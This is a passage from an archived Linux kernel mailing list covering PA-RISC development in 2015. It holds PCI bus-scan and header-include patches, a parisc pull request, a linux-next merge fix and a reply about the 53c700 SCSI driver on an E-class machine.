	szxga02-in.huawei.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753459AbbCXDhf (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 23 Mar 2015 23:37:35 -0400
Original-Received: from 172.24.2.119 (EHLO szxeml431-hub.china.huawei.com) ([172.24.2.119])
	by szxrg02-dlp.huawei.com (MOS 4.3.7-GA FastPath queued)
	with ESMTP id CIW74430;
	Tue, 24 Mar 2015 11:37:32 +0800 (CST)
Original-Received: from localhost.localdomain (10.175.100.166) by
 szxeml431-hub.china.huawei.com (10.82.67.208) with Microsoft SMTP Server id
 14.3.158.1; Tue, 24 Mar 2015 11:37:03 +0800
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1427168064-8657-1-git-send-email-wangyijing@huawei.com>
X-Originating-IP: [10.175.100.166]
X-CFilter-Loop: Reflected
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1915534 gmane.linux.kernel.pci:40225 gmane.linux.ports.arm.kernel:402563 gmane.linux.ports.ia64:25329 gmane.linux.ports.alpha:2957 gmane.linux.ports.parisc:25677
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1915534>

From: Yijing Wang <wangyijing0307@gmail.com>

Now pci_bus_add_devices() has been ripped out
from pci_scan_root_bus(), we could use pci_scan_root_bus()
instead of pci_create_root_bus() + pci_scan_child_bus()
for simplicity.

Signed-off-by: Yijing Wang <wangyijing@huawei.com>
CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
CC: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    4 ++--
 drivers/parisc/lba_pci.c |    4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index f375252..146c3ff 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -985,7 +985,7 @@ static int __init dino_probe(struct parisc_device *dev)
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	dino_dev->hba.hba_bus = bus = pci_create_root_bus(&dev->dev,
+	dino_dev->hba.hba_bus = bus = pci_scan_root_bus(&dev->dev,
 			 0, dino_current_bus, &dino_cfg_ops, NULL, &resources);
 	if (!bus) {
 		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (duplicate bus number %d?)\n",
@@ -996,7 +996,7 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
-	max = pci_scan_child_bus(bus);
+	max = pci_bus_child_max_busnr(bus);
 	pci_bus_update_busn_res_end(bus, max);
 
 	/* This code *depends* on scanning being single threaded
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 2949030..b630364 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1563,14 +1563,14 @@ lba_driver_probe(struct parisc_device *dev)
 
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
-		pci_create_root_bus(&dev->dev, 0, lba_dev->hba.bus_num.start,
+		pci_scan_root_bus(&dev->dev, 0, lba_dev->hba.bus_num.start,
 				    cfg_ops, NULL, &resources);
 	if (!lba_bus) {
 		pci_free_resource_list(&resources);
 		return 0;
 	}
 
-	max = pci_scan_child_bus(lba_bus);
+	max = pci_bus_child_max_busnr(lba_bus);
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
 	if (is_pdc_pat()) {
-- 
1.7.1


From - Thu Nov 08 21:37:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for v4.0
Date: Fri, 27 Mar 2015 23:23:28 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20150327222328.GA4014@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1427495031 3995 80.91.229.3 (27 Mar 2015 22:23:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Mar 2015 22:23:51 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 27 23:23:43 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YbcfG-0006HS-7z
	for glpp-linux-parisc@plane.gmane.org; Fri, 27 Mar 2015 23:23:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752200AbbC0WXl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Mar 2015 18:23:41 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:57418 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751400AbbC0WXk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Mar 2015 18:23:40 -0400
Original-Received: from ls3530.box ([92.203.99.191]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0LfC4q-1ZHI8R3aPo-00oluU; Fri, 27 Mar 2015 23:23:32
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:+Z2dVbWwqgyTaFOA+YyHWE2e1BjptmFYEptS5M/AuABc0BPjs6e
 ypTcpyLDwWzCil0dqlzA05JTftojtpV0JielMqOiLdfUGJsQh400hdi+Eihxbv1pStf/zPp
 2CSuUv7CHP9VhLv+FGSMDGFbHnaR6G3KwRNdjYmL3FjXZNpLuBMU6wn05C7zoFINQ0mAd+Q
 kR3uxZpjQjpifKAD8JUdw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25678 gmane.linux.kernel:1919452
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25678>

Hi Linus,

Please pull three patches for kernel-4.0 for the parisc architecture from

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.0-1

One patch from Mikulas fixes a bug on parisc by artifically incrementing the
counter in pmd_free when the kernel tries to free the preallocated pmd.
Other than that we now prevent that syscalls gets added without incrementing
__NR_Linux_syscalls and fix the initial pmd setup code if a default page size
greater than 4k has been selected. 

Thanks,
Helge


----------------------------------------------------------------
Helge Deller (2):
      parisc: Add compile-time check when adding new syscalls
      parisc: Fix pmd code to depend on PT_NLEVELS value, not on CONFIG_64BIT

Mikulas Patocka (1):
      parisc: mm: don't count preallocated pmds

 arch/parisc/include/asm/pgalloc.h  | 17 ++++++++++-------
 arch/parisc/kernel/syscall_table.S |  9 ++++++---
 2 files changed, 16 insertions(+), 10 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.input
Subject: [PATCH 42/86] input/serio: use uapi/linux/pci_ids.h directly
Date: Sun, 29 Mar 2015 15:40:51 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <1427635734-24786-43-git-send-email-mst@redhat.com>
References: <1427635734-24786-1-git-send-email-mst@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1427636483 32717 80.91.229.3 (29 Mar 2015 13:41:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Mar 2015 13:41:23 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Dmitry Torokhov <dmitry.torokhov@gmail.com>,
	linux-parisc@vger.kernel.org, linux-input@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Mar 29 15:41:22 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YcDSp-0006yM-Be
	for glk-linux-kernel-3@plane.gmane.org; Sun, 29 Mar 2015 15:41:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932459AbbC2NlL (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 29 Mar 2015 09:41:11 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:39411 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932422AbbC2NlD (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sun, 29 Mar 2015 09:41:03 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id t2TDetG5019507
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
	Sun, 29 Mar 2015 09:40:55 -0400
Original-Received: from redhat.com (ovpn-116-29.ams2.redhat.com [10.36.116.29])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id t2TDeqOv002837;
	Sun, 29 Mar 2015 09:40:53 -0400
Content-Disposition: inline
In-Reply-To: <1427635734-24786-1-git-send-email-mst@redhat.com>
X-Mutt-Fcc: =sent
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1919801 gmane.linux.ports.parisc:25679 gmane.linux.kernel.input:42398
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1919801>

Header moved from linux/pci_ids.h to uapi/linux/pci_ids.h,
use the new header directly so we can drop
the wrapper in include/linux/pci_ids.h.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 drivers/input/serio/gscps2.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/input/serio/gscps2.c b/drivers/input/serio/gscps2.c
index 94ab494..b7d0854 100644
--- a/drivers/input/serio/gscps2.c
+++ b/drivers/input/serio/gscps2.c
@@ -31,7 +31,7 @@
 #include <linux/spinlock.h>
 #include <linux/delay.h>
 #include <linux/ioport.h>
-#include <linux/pci_ids.h>
+#include <uapi/linux/pci_ids.h>
 
 #include <asm/irq.h>
 #include <asm/io.h>
-- 
MST


From - Thu Nov 08 21:37:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.kernel.input,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 81/86] input/serio: drop pci_ids dependency
Date: Sun, 29 Mar 2015 15:43:18 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <1427635734-24786-82-git-send-email-mst@redhat.com>
References: <1427635734-24786-1-git-send-email-mst@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1427636748 4269 80.91.229.3 (29 Mar 2015 13:45:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Mar 2015 13:45:48 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Dmitry Torokhov <dmitry.torokhov@gmail.com>,
	linux-parisc@vger.kernel.org, linux-input@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-input-owner@vger.kernel.org Sun Mar 29 15:45:46 2015
Return-path: <linux-input-owner@vger.kernel.org>
Envelope-to: glki-linux-input-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-input-owner@vger.kernel.org>)
	id 1YcDX6-0001w4-HE
	for glki-linux-input-2@plane.gmane.org; Sun, 29 Mar 2015 15:45:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932089AbbC2Npm (ORCPT <rfc822;glki-linux-input-2@m.gmane.org>);
	Sun, 29 Mar 2015 09:45:42 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:42720 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752838AbbC2NnX (ORCPT <rfc822;linux-input@vger.kernel.org>);
	Sun, 29 Mar 2015 09:43:23 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (Postfix) with ESMTPS id B40F9AB110;
	Sun, 29 Mar 2015 13:43:22 +0000 (UTC)
Original-Received: from redhat.com (ovpn-116-29.ams2.redhat.com [10.36.116.29])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id t2TDhIxW028159;
	Sun, 29 Mar 2015 09:43:19 -0400
Content-Disposition: inline
In-Reply-To: <1427635734-24786-1-git-send-email-mst@redhat.com>
X-Mutt-Fcc: =sent
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-input-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-input.vger.kernel.org>
X-Mailing-List: linux-input@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.input:42400 gmane.linux.kernel:1919832 gmane.linux.ports.parisc:25680
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.input/42400>

This driver does not use any PCI IDs, don't include
the pci_ids.h header.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 drivers/input/serio/gscps2.c | 1 -
 1 file changed, 1 deletion(-)

diff --git a/drivers/input/serio/gscps2.c b/drivers/input/serio/gscps2.c
index b7d0854..ecba666 100644
--- a/drivers/input/serio/gscps2.c
+++ b/drivers/input/serio/gscps2.c
@@ -31,7 +31,6 @@
 #include <linux/spinlock.h>
 #include <linux/delay.h>
 #include <linux/ioport.h>
-#include <uapi/linux/pci_ids.h>
 
 #include <asm/irq.h>
 #include <asm/io.h>
-- 
MST

--
To unsubscribe from this list: send the line "unsubscribe linux-input" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next,gmane.linux.kernel
Subject: linux-next: manual merge of the akpm-current tree with the
 parisc-hd tree
Date: Mon, 30 Mar 2015 20:09:28 +1100
Lines: 61
Approved: news@gmane.org
Message-ID: <20150330200928.6dc4773d@canb.auug.org.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
 boundary="Sig_/aQB/A+Akt8Xc0F699Zs4DFo"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1427706600 7178 80.91.229.3 (30 Mar 2015 09:10:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 Mar 2015 09:10:00 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org,
	Matthew Wilcox <willy@linux.intel.com>,
	Dave Anglin <dave.anglin@bell.net>,
	Kees Cook <keescook@chromium.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 30 11:09:53 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YcVhT-0003ZW-CT
	for glpp-linux-parisc@plane.gmane.org; Mon, 30 Mar 2015 11:09:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752927AbbC3JJi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Mar 2015 05:09:38 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:33762 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752428AbbC3JJh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Mar 2015 05:09:37 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by ozlabs.org (Postfix) with ESMTPSA id 666F014007F;
	Mon, 30 Mar 2015 20:09:35 +1100 (AEDT)
X-Mailer: Claws Mail 3.11.1 (GTK+ 2.24.25; i586-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25681 gmane.linux.kernel.next:34955 gmane.linux.kernel:1920182
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25681>

--Sig_/aQB/A+Akt8Xc0F699Zs4DFo
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable

Hi Andrew,

Today's linux-next merge of the akpm-current tree got a conflict in
arch/parisc/include/asm/Kbuild between commit 476840458128 ("parisc:
Eliminate sg_virt_addr() and private scatterlist.h") from the parisc-hd
tree and commit e494f4a463cd ("parisc: switch to using asm-generic for
seccomp.h") from the akpm-current tree.

I fixed it up (see below) and can carry the fix as necessary (no action
is required).

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au

diff --cc arch/parisc/include/asm/Kbuild
index a5f037535aab,12b341d04f88..000000000000
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@@ -20,7 -20,7 +20,8 @@@ generic-y +=3D param.
  generic-y +=3D percpu.h
  generic-y +=3D poll.h
  generic-y +=3D preempt.h
 +generic-y +=3D scatterlist.h
+ generic-y +=3D seccomp.h
  generic-y +=3D segment.h
  generic-y +=3D topology.h
  generic-y +=3D trace_clock.h

--Sig_/aQB/A+Akt8Xc0F699Zs4DFo
Content-Type: application/pgp-signature
Content-Description: OpenPGP digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJVGRLPAAoJEMDTa8Ir7ZwVn08QAJUm8I/wCmWJf2CikIgJHjMU
GH+qPMwZ6iZOZih8gEEd6DyJ080Guip5ftsPWsGS6+RcBbGTgelDBpE8zUWSPtQ+
NimdAVwqZawLfwHoyoawaa/zrf7+cgIgm9ZM5Lhg+vLm0061oHXiNBbciVb96oMi
3m8474qX+qS1ckgqajq6PKKQ9EjOXOQ22NHXL1GIocI9e5OuL8+bPo8p8+OXU21L
mJ51Q64sHKXwcmig8mVDeHXvGOBkd3662fGLcnjFBz83OmlYh5M48y8CZAHEGda8
6i/Ym0qLuA86uhhKlNRwz8BCmH2mpfUbkUiEb08U/AfIIMNfmr7n/Gan4dAjQ7A8
TecwAadm1/XuLBf1/gG1PPVhJImGz+r7TlbBDAD094UXlwclTkBcD7NUkONc9+4H
d6ULuJ5VZ1jT4a234LOfzF+vNhGe4LpOe0CCTwDH232X4lcZF7Y3COV8RRBcUF6Y
xjau78pUKUiwbBKCdlcutrxIcgWu9/wb2vGFX1ZdAXUizpJZP6qG+UD1Op2iorhY
yyebBK6FnzvHjiufeWr9NNrg6gY4CXyLRnBH3RErokBJxvvc7ubr11cSI+HDVubH
+v11TGa6tb94kpJKuH31CW4JMg3TqkBoGlRmsgT5sJhndQpDbiBe8SrqNokXJxjK
0pUsEtoLW6GuRdlvSPzQ
=Pnfm
-----END PGP SIGNATURE-----

--Sig_/aQB/A+Akt8Xc0F699Zs4DFo--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.ports.parisc,gmane.linux.kernel.input
Subject: [PATCH v2 2/6] input/serio: drop pci_ids dependency
Date: Mon, 30 Mar 2015 12:59:27 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <1427712964-16155-3-git-send-email-mst@redhat.com>
References: <1427712964-16155-1-git-send-email-mst@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1427713198 18469 80.91.229.3 (30 Mar 2015 10:59:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 Mar 2015 10:59:58 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>, linux-pci@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Dmitry Torokhov <dmitry.torokhov@gmail.com>,
	linux-parisc@vger.kernel.org, linux-input@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 30 12:59:57 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YcXPw-0006sc-VE
	for glk-linux-kernel-3@plane.gmane.org; Mon, 30 Mar 2015 12:59:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752807AbbC3K7h (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 30 Mar 2015 06:59:37 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:53604 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752739AbbC3K7c (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 30 Mar 2015 06:59:32 -0400
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
	by mx1.redhat.com (Postfix) with ESMTPS id DCD3D8EA26;
	Mon, 30 Mar 2015 10:59:31 +0000 (UTC)
Original-Received: from redhat.com (ovpn-116-48.ams2.redhat.com [10.36.116.48])
	by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id t2UAxSfT012999;
	Mon, 30 Mar 2015 06:59:29 -0400
Content-Disposition: inline
In-Reply-To: <1427712964-16155-1-git-send-email-mst@redhat.com>
X-Mutt-Fcc: =sent
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1920235 gmane.linux.kernel.pci:40428 gmane.linux.ports.parisc:25682 gmane.linux.kernel.input:42410
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1920235>

This driver does not use any PCI IDs, don't include
the pci_ids.h header.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 drivers/input/serio/gscps2.c | 1 -
 1 file changed, 1 deletion(-)

diff --git a/drivers/input/serio/gscps2.c b/drivers/input/serio/gscps2.c
index 94ab494..ecba666 100644
--- a/drivers/input/serio/gscps2.c
+++ b/drivers/input/serio/gscps2.c
@@ -31,7 +31,6 @@
 #include <linux/spinlock.h>
 #include <linux/delay.h>
 #include <linux/ioport.h>
-#include <linux/pci_ids.h>
 
 #include <asm/irq.h>
 #include <asm/io.h>
-- 
MST


From - Thu Nov 08 21:37:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: E Class and SCSI (53c700 driver)
Date: Thu, 02 Apr 2015 10:07:53 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <551CF8D9.3020506@gmx.de>
References: <5519CA2B.9060407@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1427962095 13847 80.91.229.3 (2 Apr 2015 08:08:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2015 08:08:15 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Dmitry the Zuryanovich <dreadbit@gmail.com>,
	debian-hppa@lists.debian.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 10:08:05 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YdaAS-00053c-N5
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 Apr 2015 10:08:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752883AbbDBIIA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2015 04:08:00 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:60381 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752381AbbDBIH5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2015 04:07:57 -0400
Original-Received: from [192.168.20.60] ([92.203.37.41]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MfBsk-1Yp2TA3pRS-00OmQ1; Thu, 02 Apr 2015 10:07:55
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.5.0
In-Reply-To: <5519CA2B.9060407@gmail.com>
X-Provags-ID: V03:K0:0LwbAZumks1l/sXJQpWPqvRg0BRvEWvrmu+mZR7DqUkQSHVDsUf
 npXA8SUgIXyKra3hJGsxjJg15ma+iSXO5APuz0sUGGYRWpgAKgYzFryaFNKpiNzKVp6mnkM
 BQEwfIls9jIly6yv8574q/8c/WMOs5LDnClQNSLLSrtYcOWN8rSu4FzUWHzrO00CPN2kQyJ
 pu6c/cPVesmSew+nPsOIw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25683 gmane.linux.debian.ports.hppa:7277
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25683>

Hi Dmitry,

I've added the parisc-kernel-devel mailing list too, since I expect
that *if* somebody is able to answer your question, it will probably
be on the parisc-kernel-devel list...

On 31.03.2015 00:11, Dmitry the Zuryanovich wrote:
> As I understand, E class (in my case - E25) has LASI based 53c710
> which is handled by 53c700.c? (and in case of workstations wrapped by
> lasi700 - what's for? Just for detecting it?)
>
> If I know that that's
>
> 5. Sahp Baat Kiuh SCSI at 0xfff74000 [56/52] {4, 0x0, 0x044, 0x00039}
>
> , is there a reason to try to
>
> #modprobe 53c700 clock=25  base=0xfff74000

Looking at drivers/scsi/lasi700.c, it seems the lasi700 driver sets
additional flags like force_le_on_be, chip710, burst_length and so on.
In addition, the IRQs gets connected via drivers/parisc/lasi.c (see lasi_choose_irq()).
I assume you would need at least a "case 0x39" in there.
